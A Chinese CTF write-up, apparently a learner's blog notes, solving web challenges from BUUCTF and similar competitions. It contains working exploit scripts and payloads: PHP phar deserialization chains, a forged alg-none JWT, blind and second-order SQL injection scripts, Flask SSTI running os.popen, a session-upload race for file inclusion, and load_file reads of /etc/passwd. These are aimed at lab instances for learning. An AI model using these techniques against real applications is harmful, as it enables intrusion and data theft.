</head><body><nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item active">管理面板</li><li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上傳文件</label></li><li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li></ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div><?php
include "class.php";$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

download.php

<?php
session_start();
if (!isset($_SESSION['login'])) {header("Location: login.php");die();
}if (!isset($_POST['filename'])) {die();
}include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {Header("Content-type: application/octet-stream");Header("Content-Disposition: attachment; filename=" . basename($filename));echo $file->close();
} else {echo "File not exist";
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {public $db;public function __construct() {global $db;$this->db = $db;}public function user_exist($username) {$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->store_result();$count = $stmt->num_rows;if ($count === 0) {return false;}return true;}public function add_user($username, $password) {if ($this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");$stmt->bind_param("ss", $username, $password);$stmt->execute();return true;}public function verify_user($username, $password) {if (!$this->user_exist($username)) {return false;}$password = sha1($password . "SiAchGHmFx");$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");$stmt->bind_param("s", $username);$stmt->execute();$stmt->bind_result($expect);$stmt->fetch();if (isset($expect) && $expect === $password) {return true;}return false;}public function __destruct() {$this->db->close();}
}class FileList {private $files;private $results;private $funcs;public function __construct($path) {$this->files = array();$this->results = array();$this->funcs = array();$filenames = scandir($path);$key = array_search(".", $filenames);unset($filenames[$key]);$key = array_search("..", $filenames);unset($filenames[$key]);foreach ($filenames as $filename) {$file = new File();$file->open($path . $filename);array_push($this->files, $file);$this->results[$file->name()] = array();}}public function __call($func, $args) {array_push($this->funcs, $func);foreach ($this->files as $file) {$this->results[$file->name()][$func] = $file->$func();}}public function __destruct() {$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';$table .= '<thead><tr>';foreach ($this->funcs as $func) {$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';}$table .= '<th scope="col" class="text-center">Opt</th>';$table .= '</thead><tbody>';foreach ($this->results as $filename => $result) {$table .= '<tr>';foreach ($result as $func => $value) {$table .= '<td class="text-center">' . htmlentities($value) . '</td>';}$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下載</a> / <a href="#" class="delete">刪除</a></td>';$table .= '</tr>';}echo $table;}
}class File {public $filename;public function open($filename) {$this->filename = $filename;if (file_exists($filename) && !is_dir($filename)) {return true;} else {return false;}}public function name() {return basename($this->filename);}public function size() {$size = filesize($this->filename);$units = array(' B', ' KB', ' MB', ' GB', ' TB');for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;return round($size, 2).$units[$i];}public function detele() {unlink($this->filename);}public function close() {return file_get_contents($this->filename);}
}
?>

看到file_get_contents就知道要利用這個

我們首先看到入口函數:

public function __destruct() {

$this->db->close();

}

會調用db的close方法,如果我們令db=FileList,因為該類中不含close方法,所以會調用_call

————————————————

這是其他師傅的解釋

__call() 當所調用的成員方法不存在(或者沒有權限)該類時調用有。兩個參數,

第一個參數是,調用這個不存在的方法的方法名,

第二個參數是,調用這個不存在的方法的方法參數(調用這個函數時的參數)

public function __call($func, $args) {

array_push($this->funcs, $func);#$funcs成員變量存放這個不存在的方法的方法名

foreach ($this->files as $file) { #file就是每個我們上傳文件的File對象

$this->results[$file->name()][$func] = $file->$func();#results成員變量是個二維數組,

#一維存放我們上傳的文件名,

#二維存放對應文件在調用不存在的方法后的結果,每個方法對應一個結果

}

}

因為$func()這里指的就是close(),所以我們只要把$file=File,就可以實現file_get_contents

這是FileList的_destruct

通過echo table輸出

反序列話的鏈子找到了,那么要如何反序列化呢?

phar://偽協議可以讓一些函數自動反序列化

別的師傅寫的:

這里貼個腳本:

<?phpclass User {public $db;
}class FileList {private $files = array();public function __construct() {$file = new File();array_push($this->files,$file);}
}class File {public $filename = '/flag.txt';
}$phar=new Phar('phar.phar');
$phar->startBuffering();//創建一個名為 phar.phar 的 PHAR 歸檔文件,并開始緩沖寫入內容
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); 
$phar->addFromString('test.txt','test');  //向 phar 文件中添加一個測試文件 test.txt,內容為 "test"
$obj= new User();
$obj->db=new FileList();
$phar->setMetadata($obj); //將自定義的metadata存入manifest
$phar->stopBuffering();//停止緩沖?>

將生成的phar.phar上傳改為.jpg格式

刪除的時候還是抓包:

filename=phar://phar.jpg

[HFCTF2020]EasyLogin

登錄后查看js,感覺就在這里:

/***  或許該用 koa-static 來處理靜態文件*  路徑該怎么配置?不管了先填個根目錄XD*/function login() {const username = $("#username").val();const password = $("#password").val();const token = sessionStorage.getItem("token");$.post("/api/login", {username, password, authorization:token}).done(function(data) {const {status} = data;if(status) {document.location = "/home";}}).fail(function(xhr, textStatus, errorThrown) {alert(xhr.responseJSON.message);});
}function register() {const username = $("#username").val();const password = $("#password").val();$.post("/api/register", {username, password}).done(function(data) {const { token } = data;sessionStorage.setItem('token', token);document.location = "/login";}).fail(function(xhr, textStatus, errorThrown) {alert(xhr.responseJSON.message);});
}function logout() {$.get('/api/logout').done(function(data) {const {status} = data;if(status) {document.location = '/login';}});
}function getflag() {$.get('/api/flag').done(function(data) {const {flag} = data;$("#username").val(flag);}).fail(function(xhr, textStatus, errorThrown) {alert(xhr.responseJSON.message);});
}

有個/api/flag,訪問看看

根據提示,這里是koa框架,ai搜一下有啥東西:

my-koa-app/

├── app.js # 主入口文件

├── config/ # 配置文件(數據庫、密鑰等)

│ └── config.default.js

├── controllers/ # 控制器:處理請求邏輯

│ ├── userController.js

│ └── flagController.js

├── routes/ # 路由定義

│ ├── index.js

│ └── api.js

├── services/ # 業務邏輯層(非必須)

├── models/ # 數據模型(如使用 ORM)

├── public/ # 靜態資源(HTML、CSS、JS)

├── views/ # 模板文件(如使用 ejs、pug 等)

├── middleware/ # 自定義中間件

├── utils/ # 工具類函數

├── app.js # 核心 Koa 實例創建

└── package.json # 項目依賴和腳本

拿的圖:

訪問/controllers/api.js ( 處理 HTTP 請求的業務邏輯代碼 )

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')const APIError = require('../rest').APIError;module.exports = {'POST /api/register': async (ctx, next) => {const {username, password} = ctx.request.body;if(!username || username === 'admin'){throw new APIError('register error', 'wrong username');}if(global.secrets.length > 100000) {global.secrets = [];}const secret = crypto.randomBytes(18).toString('hex');const secretid = global.secrets.length;global.secrets.push(secret)const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});ctx.rest({token: token});await next();},'POST /api/login': async (ctx, next) => {const {username, password} = ctx.request.body;if(!username || !password) {throw new APIError('login error', 'username or password is necessary');}const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;console.log(sid)if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {throw new APIError('login error', 'no such secret id');}const secret = global.secrets[sid];const user = jwt.verify(token, secret, {algorithm: 'HS256'});const status = username === user.username && password === user.password;if(status) {ctx.session.username = username;}ctx.rest({status});await next();},'GET /api/flag': async (ctx, next) => {if(ctx.session.username !== 'admin'){throw new APIError('permission error', 'permission denied');}const flag = fs.readFileSync('/flag').toString();ctx.rest({flag});await next();},'GET /api/logout': async (ctx, next) => {ctx.session.username = null;ctx.rest({status: true})await next();}
};

審計可以發現不讓注冊admin,但是想要flag就要admin

通過ctx.session.username !== 'admin'判斷的

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

偽造

先去解密:網站

JWT 的基本結構

JWT 由三部分組成:

header.payload.signature

每部分都是 Base64Url 編碼 的字符串,然后用點號 . 連接起來,例如:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.

TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh93/dcMBU


1. Header(頭部)

描述 JWT 的元數據,通常是以下格式:

{

"alg": "HS256",

"typ": "JWT"

}

alg

簽名算法(如 HS256、RS256)

typ

Token 類型,默認為 JWT

編碼后變成:

1

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9


2. Payload(載荷 / 數據)

存放有效信息(claims),分為三種類型:

注冊聲明(Registered claims):

  • iss(issuer):簽發者
  • exp(expiration time):過期時間(Unix 時間戳)
  • sub(subject):主題(通常是用戶 ID)
  • aud(audience):接收者
  • nbf(not before):生效時間
  • iat(issued at):簽發時間
  • jti(JWT ID):唯一 ID

公共聲明(Public claims):

自定義字段,比如:

json

{

"username": "admin",

"role": "user"

}

私有聲明(Private claims):

僅在雙方之間共享的數據。

示例 payload:

{

"sub": "1234567890",

"name": "John Doe",

"admin": true

}

編碼后變成:

eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9


3. Signature(簽名)

header.payload 拼接成字符串,并使用 header.alg 指定的算法和密鑰進行簽名。

通過解密,我們就可以反向構造jwt

腳本:

import jwt
token = jwt.encode(
{"secretid": [],"username": "admin","password": "123","iat": 1751201139
},
algorithm="none",key="").encode(encoding='utf-8')print(token)

這里secretid表示要用到哪個加密,我們給他制空,啥都不用

這里的iat為解出來的,和抓包到的一致

記得腳本里的username和password和POST提交要一致

將響應兩個紅色的記下來,直接訪問api/flag

October 2019 Twice SQL Injection

看題目,估計是二次注入,應該就是info里面出的

這里試一下:

1' union select group_concat(table_name) from information_schema.tables where table_schema=database()#

ok,繼續

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

1' union select group_concat(flag) from flag#

[SWPUCTF 2018]SimplePHP

phar反序列化

看到有個file參數,查看文件:

file.php

看看class.php

<?php
class C1e4r
{public $test;public $str;public function __construct($name){$this->str = $name;}public function __destruct(){$this->test = $this->str;echo $this->test;}
}class Show
{public $source;public $str;public function __construct($file){$this->source = $file;   //$this->source = phar://phar.jpgecho $this->source;}public function __toString(){$content = $this->str['str']->source;return $content;}public function __set($key,$value){$this->$key = $value;}public function _show(){if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {die('hacker!');} else {highlight_file($this->source);}}public function __wakeup(){if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {echo "hacker~";$this->source = "index.php";}}
}
class Test
{public $file;public $params;public function __construct(){$this->params = array();}public function __get($key){return $this->get($key);}public function get($key){if(isset($this->params[$key])) {$value = $this->params[$key];} else {$value = "index.php";}return $this->file_get($value);}public function file_get($value){$text = base64_encode(file_get_contents($value));return $text;}
}
?>

phar反序列化,開始找鏈子

首先看到Test類的file_get的方法有一個file_get_contents

然后file_get在get中調用,get在_get中調用,_get則是在訪問到private或不存在的變量中觸發

然后看 $content = $this->str['str']->source;

我們讓str為Test類,因為source不存在,所以可以調用_get方法

__toString的調用方法也是典中典的,找echo
echo $this->test;

pop鏈構建完成

直接掏個腳本:

<?phpclass C1e4r{public $test;public $str;
}class Show
{public $source;public $str;
}class Test
{public $file;public $params;}
$cle4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source']='/var/www/html/f1ag.php';
$show->str['str']=$test;
$cle4r->str=$show;$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($cle4r);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();?>

看到

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上傳成功!");</script>'; 
} 
function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } 
} 
function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>請選擇上傳的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } 
} 
?>

根據這個,我們上傳,抓包,改為jpg

然后因為 $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

推出路徑:

或者直接訪問uopload

base64解密得flag

[GYCTF2020]Ezsqli

無列名注入

插敘1,2,3,發現到3就開始報錯了,輸入union出現false,感覺可以用bool盲注

這題fuzz后發現information_schema被過濾了

這時候就要無列名注入

文章

這里是直接放一個其他師傅寫的腳本,用二分法找的

import time
import requests
import sys
import string
import logging# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="http://c71bd22f-c98d-4338-81e7-05819d26554e.node5.buuoj.cn:81/index.php"dataStr="(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database())"def binaryTest(i,cu,comparer):s=requests.post(target,data={"id" : "0^(ascii(substr({},{},1)){comparer}{})".format(dataStr,i,cu,comparer=comparer)})if 'Nu1L' in s.text:return Trueelse:return Falsedef searchFriends_sqli(i):l = 0r = 255while (l <= r):cu = (l + r) // 2if (binaryTest(i, cu, "<")):r = cu - 1elif (binaryTest(i, cu, ">")):l = cu + 1elif (cu == 0):return Noneelse:return chr(cu)def main():print("start")finres=""i=1while (True):extracted_char = searchFriends_sqli(i)if (extracted_char == None):breakfinres += extracted_chari += 1print("(+) 當前結果:"+finres)print("(+) 運行完成,結果為:", finres)if __name__=="__main__":main()

然后怎么無列名找呢?

腳本:

import requests
import timedef post_text(string):return requests.post(url=url, data=string).textdef get_flag(char, value):return value + charurl = 'http://c71bd22f-c98d-4338-81e7-05819d26554e.node5.buuoj.cn:81/index.php'
post_d = {}
value = ''  # 無列名注入使用
for i in range(1000):low = 32high = 128mid = (low + high) // 2while low < high:payload = '2||((select * from f1ag_1s_h3r3_hhhhh)<(select 1,"{}"))'.format(get_flag(chr(mid), value))# print(payload)post_d['id'] = payloadre = post_text(post_d)time.sleep(0.5)if "Nu" in re:high = midelse:low = mid + 1mid = (low + high) // 2if mid <= 32 or mid >= 127:breakvalue += chr(mid - 1)print("value is -> " + value)

((select * from f1ag_1s_h3r3_hhhhh)<(select 1,"{}"))

這里我們是知道了flag是在第二列,所以我們用select 1,"{}"構造了一個臨時的行來比較,直接比較第二列

轉成小寫

[CISCN2019 總決賽 Day2 Web1]Easyweb

看到有個image.php

然后試了一圈,訪問robots.txt(終于用上這個了)

直接訪問不行,就一個個試,發現image.php.bak可以下載

<�?php
include "config.php";$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";$id=addslashes($id);
$path=addslashes($path);$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

有個addslashes函數:

str_replace(array("\\0","%00","\\'","'"),"",$id); : 這行代碼的作用是將$id字符串中的\0%00\''這四個子字符串替換為空字符串(前面第一個 \ 是用來轉義的,使其不被解釋為其原始含義,而是作為普通字符處理)

所以當我輸入id=\0后,addslashes變成\\0,str_replace后成\

select * from images where id='\' or path='{$path}'

紅色部分就被注釋了,可以變成

select * from images where id=' or path='{$path}',我們就可以該{$path}來注入了

拿個腳本:

import requestsflag=''
for i in range(1,500,1):for y in range(1,128,1):#url = 'http://d764732b-e781-4f66-a45d-f905287808c3.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)=database()),'+str(i)+',1))='+str(y)+')%23'#url='http://d764732b-e781-4f66-a45d-f905287808c3.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),'+str(i)+',1))='+str(y)+')%23'url='http://d764732b-e781-4f66-a45d-f905287808c3.node5.buuoj.cn:81/image.php?id=\\0&path=or(ASCII(SUBSTR((select(group_concat(password))from(users)),'+str(i)+',1))='+str(y)+')%23'data=requests.get(url)if "JFIF" in str(data.content):flag=flag+chr(y)print(flag)break

用戶就是admin,登錄后發現有個文件上傳,發現上傳后給的路徑直接就是一個php文件,那直接拿文件名字做木馬

就是這樣:

[RootersCTF2019]I_<3_Flask

ok

?name={{config.__class__.__init__.__globals__.os.popen('tac flag.txt').read()}}

[NPUCTF2020]ezinclude

條件競爭

抓包

發現name=1的時候hash變了,那這個因該就是pass

訪問后發現有個文件包含,那就試試filter

?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

<html>
<head>
<script language="javascript" type="text/javascript">window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出題人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

然后就是掃描,發現dir.php,同樣看源碼

這里有個漏洞:

php代碼中使用php://filter的 strip_tags 過濾器, 可以讓 php 執行的時候直接出現 Segment Fault , 這樣 php 的垃圾回收機制就不會在繼續執行 , 導致 POST 的文件會保存在系統的緩存目錄下不會被清除而不像phpinfo那樣上傳的文件很快就會被刪除,這樣的情況下我們只需要知道其文件名就可以包含我們的惡意代碼。

使用php://filter/string.strip_tags導致php崩潰清空堆棧重啟,如果在同時上傳了一個文件,那么這個tmp file就會一直留在tmp目錄,知道文件名就可以getshell。這個崩潰原因是存在一處空指針引用。向PHP發送含有文件區塊的數據包時,讓PHP異常崩潰退出,POST的臨時文件就會被保留,臨時文件會被保存在upload_tmp_dir所指定的目錄下,默認為tmp文件夾。

該方法僅適用于以下php7版本,php5并不存在該崩潰。

利用條件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修復

php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修復

php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到現在的版本已被修復

[NPUCTF2020]ezinclude(PHP臨時文件包含) - 「配槍朱麗葉。」

PHP LFI 利用臨時文件 Getshell 姿勢

然后這里我看其他師傅都用一個腳本:

import requests
from io import BytesIO
payload = "<?php phpinfo()?>"
file_data = { 'file': BytesIO(payload.encode()) }
url = "http://d1796e51-5c85-4123-8ba1-0063ad1d828b.node5.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)
print(r.text)

但是我跑不出來

用另外一個思路:

原理:利用session.upload_progress上傳一個臨時文件,該文件里面有我們上傳的惡意代碼,然后包含它,從而執行里面的代碼。因為該文件內容清空很快,所以需要不停的上傳和包含,在清空之前包含該文件。

session中一部分數據(session.upload_progress.name)是用戶自己可以控制的。那么我們只要上傳文件的時候,在Cookie中設置PHPSESSID=yym68686(默認情況下session.use_strict_mode=0用戶可以自定義Session ID),同時POST一個惡意的字段PHP_SESSION_UPLOAD_PROGRESS ,(PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定義),只要上傳包里帶上這個鍵,PHP就會自動啟用Session,同時,我們在Cookie中設置了PHPSESSID=yym68686,所以Session文件將會自動創建。

因為session.upload_progress.cleanup = on這個默認選項會有限制,當文件上傳結束后,php將會立即清空對應session文件中的內容,這就導致我們在包含該session的時候相當于在包含一個空文件,沒有包含我們傳入的惡意代碼。不過,我們只需要條件競爭,趕在文件被清除前利用即可

原文

import io
import re
import sys
import requests
import threadinghost = 'http://d1796e51-5c85-4123-8ba1-0063ad1d828b.node5.buuoj.cn:81/flflflflag.php'
sessid = 'yym68686'def POST(session):while True:f = io.BytesIO(b'a' * 1024 * 50)session.post(host,data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();?>"},files={"file":('a.txt', f)},cookies={'PHPSESSID':sessid})def READ(session):while True:response = session.get(f'{host}?file=/tmp/sess_{sessid}')if 'flag{' not in response.text:print('\rWaiting...', end="")else:print("\r" + re.search(r'flag{(.*?)}', response.text).group(0))sys.exit(0)with requests.session() as session:t1 = threading.Thread(target=POST, args=(session, ))t1.daemon = Truet1.start()READ(session)

[NCTF2019]SQLi

有個

用字典跑一下好像都限了

看看robots.txt

這里可以用 regexp函數

username=\&passwd=||/**/passwd/**/regexp/**/"^x";%00

即相當于:
select * from users where /**/passwd/**/regexp/**/"^x";%00

腳本:

import requests
import stringurl = "http://6c712779-a92c-4654-a7c2-75de9f1ccb42.node5.buuoj.cn:81/index.php"
str = string.ascii_lowercase + string.digits + "_"     password= ""
while True:for i in str:data={'username':'\\','passwd':'||/**/passwd/**/regexp/**/"^{}";\x00'.format((password+i))}res = requests.post(url=url,data=data).textif "alert" not in res:password = password + iprint(password)

[網鼎杯 2020 半決賽]AliceWebsite

發現可以包含文件

[網鼎杯 2018]Comment

git泄露,www,二次注入

首先要先登錄:
爆破

掃一下目錄,發現有git

git修復:

//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

在comment中,select category from board where id='$bo_id,查的是category的內容,那我們就可以給category賦值

我們提交評論,讓CATEGORY=0' content=database() ,/*

然后留言提交*/#

$sql = "insert into commentset category = '0',content = database(),/*',content = '*/#',bo_id = '$bo_id'";$result = mysql_query($sql);更直觀點$sql = "insert into commentset category = '0',content = database(),/*',content = '*/#',bo_id = '$bo_id'";/*',content = '*/#'這里就為空了 所以現在的語句是set category = '0',content = database(),bo_id = '$bo_id'";

0',content=(select load_file('/etc/passwd')),/*

有個www

感覺在var/www/html里面:

查看bash_history : 保存了當前用戶使用過的歷史命令,方便查找

0',content=(select(load_file("/home/www/.bash_history"))),/*

rm -f .DS_Store,還有var/www/html,那大概就是在這里了

他刪除了 .DS_Store 文件,由于目標環境是docker,所以 .DS_Store 文件應該在 /tmp/html 中。而 .DS_Store 文件中,經常會有一些不可見的字符,可以使用hex函數對其進行16進制轉換

0',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

還真有,

0',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

[HarekazeCTF2019]encode_and_encode

看到有個源碼:

<?php
error_reporting(0);if (isset($_GET['source'])) {show_source(__FILE__);exit();
}function is_valid($str) {$banword = [// no path traversal'\.\.',// no stream wrapper'(php|file|glob|data|tp|zip|zlib|phar):',// no data exfiltration'flag'];$regexp = '/' . implode('|', $banword) . '/i';if (preg_match($regexp, $str)) {return false;}return true;
}$body = file_get_contents('php://input');
$json = json_decode($body, true);if (is_valid($body) && isset($json) && isset($json['page'])) {$page = $json['page'];$content = file_get_contents($page);if (!$content || !is_valid($content)) {$content = "<p>not found</p>\n";}
} else {$content = '<p>invalid request</p>';
}// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

應該是要利用file_get_contents

用json的方式傳page,然后估計flag就在/flag

{"page": "php://filter/convert.base64.encode/resource=/flag.php"}

然后因為過濾了,所以換一種編碼unicode

[網鼎杯2018]Unfinish

二次注入,from for

看看robots.txt

沒東西wc

掃到register.php,是個登錄界面

看到登錄后有顯示

猜測試二次注入,試了一下把information給ban了,所以又是無列名注入

既然這里顯示的是用戶名,我么可以構建: ' +(select ascii(database())) +'

看到成功返回ascii值,后面發現逗號也ban了

'+(select ascii(substr(database()from 2 for 1)))+'

ok,大致邏輯就清楚了,然后這里放一個腳本:

import requests
from bs4 import BeautifulSoup
def select_database():database= ""for i in range(100):#注冊data_register={"email": "%d@qq.com" %(i),"username": f"0'+(select ascii(substr(database()from {i+1} for 1)))+'0","password": "%d" %(i)}register=requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/register.php", data=data_register)#登錄data_login={"email":"%d@qq.com" %(i),"password":"%d" %(i)}login=requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/login.php", data=data_login)html=login.textsoup=BeautifulSoup(html,'html.parser')getUsername = soup.find_all('span')[0]username = getUsername.texto = int(username)if o == 0:breakdatabase += chr(int(username))print(database)return database
def select_flag():flag = ""for i in range(100):data_register = {"email": "%d@qqq.com" % (i),"username": f"0'+ascii(substr((select * from flag) from {i+1} for 1))+'0","password": "%d" % (i)}register = requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/register.php",data=data_register)data_login = {"email": "%d@qqq.com" % (i),"password": "%d" % (i)}login = requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/login.php",data=data_login)html = login.textsoup = BeautifulSoup(html, 'html.parser')getUsername = soup.find_all('span')[0]username = getUsername.texto = int(username)if o == 0:breakflag += chr(int(username))print(flag)print(select_database())
print(select_flag())


腳本取自

[CISCN2019 華東南賽區]Double Secret

RC4加密腳本

robots.txt

沒東西,訪問secret

怎么感覺做過

整理一下

這里RC4加密的密鑰就是HereIsTreasure

import base64
from urllib.parse import quote# 初始化 S 盒
def initialize_s_box(key):s_box = list(range(256))j = 0key_length = len(key)for i in range(256):j = (j + s_box[i] + ord(key[i % key_length])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]return s_box# 執行 RC4 加密操作
def perform_rc4_encryption(plaintext, s_box):result = []i = j = 0for char in plaintext:i = (i + 1) % 256j = (j + s_box[i]) % 256s_box[i], s_box[j] = s_box[j], s_box[i]t = (s_box[i] + s_box[j]) % 256k = s_box[t]encrypted_char = chr(ord(char) ^ k)result.append(encrypted_char)ciphertext = ''.join(result)print(f"加密后的字符串是:{quote(ciphertext)}")return base64.b64encode(ciphertext.encode('utf-8')).decode('utf-8')# RC4 加密主函數
def rc4_main(key="init_key", message="init_message"):s_box = initialize_s_box(key)encrypted_result = perform_rc4_encryption(message, s_box)return encrypted_result# 調用主函數進行加密
key = "HereIsTreasure"
message = "{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}"
print(rc4_main(key, message))

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/89262.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/89262.shtml
英文地址,請注明出處:http://en.pswp.cn/web/89262.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

前后端分離項目中的接口設計與調用流程——以高仙機器人集成為例

一、背景介紹在前后端分離項目開發中&#xff0c;前端頁面需要頻繁調用后端接口獲取數據。在高仙機器人對接項目中&#xff0c;我們采用了若依&#xff08;RuoYi&#xff09;框架&#xff0c;前端通過統一的 API 封裝與后端進行數據交互&#xff0c;而后端再對接高仙官方的 OPE…

【第五節】部署http接口到ubuntu server上的docker內

描述清楚需求&#xff0c;讓deepseek幫我們寫一個demo&#xff0c;文件結構如下 FLASK_API_001 ├── app.py └── Dockerfile └── requirements.txtapp.pyfrom flask import Flask, jsonify, requestapp Flask(__name__)# 根路由 app.route(/) def home():return "…

在 IntelliJ IDEA 中添加框架支持的解決方案(沒有出現Add Framework Support)

在 IntelliJ IDEA 中添加框架支持的解決方案 問題背景 版本變化&#xff1a;在 IntelliJ IDEA 2023.2 及更高版本中&#xff0c;項目右鍵菜單中的 “Add Framework Support” 選項已被移除。 常見需求&#xff1a;為 Java 項目添加框架支持&#xff08;如 Maven、Spring 等&am…

北京-4年功能測試2年空窗-報培訓班學測開-第五十天

